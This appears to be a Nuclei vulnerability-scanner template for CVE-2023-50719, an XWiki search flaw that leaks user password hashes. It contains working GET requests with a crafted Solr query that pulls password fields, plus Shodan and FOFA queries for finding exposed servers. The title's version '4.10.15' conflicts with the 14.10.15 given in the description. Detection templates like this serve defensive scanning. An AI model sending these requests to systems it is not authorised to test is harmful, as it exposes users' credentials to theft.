id: CVE-2023-50719

info:
  name: XWiki < 4.10.15 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are public. This vulnerability also affects any configurations used by extensions that contain passwords like API keys that are viewable for the attacker. Normally, such passwords aren't accessible but this vulnerability would disclose them as plain text. This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1. There are no known workarounds for this vulnerability.
  impact: |
    Successful exploitation could lead to disclosure of the password hashes of all users.
  remediation: |
    This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-21208
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50719
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-50719
    cwe-id: CWE-359
    epss-score: 0.51125
    epss-percentile: 0.97913
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,password,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Main/Search?r=1&text=propertyvalue%3A%3F*%20AND%20reference%3A*.password&f_locale=en&f_locale="
      - "{{BaseURL}}/xwiki/bin/view/Main/Search?r=1&text=propertyvalue%3A%3F*%20AND%20reference%3A*.password&f_locale=en&f_locale="

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "hash:SHA</span>"
          - "XWikiUsers[0].password"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203e37e3c6b09ad3f976270b6e6bf422f5a050b75cb7a2a9aa09c7d4d7d592a9b8022075271928738985899fdb0090fd9007823a3381ac102eed73994821d0e6f7da27:922c64590222798bb761d5b6d8e72950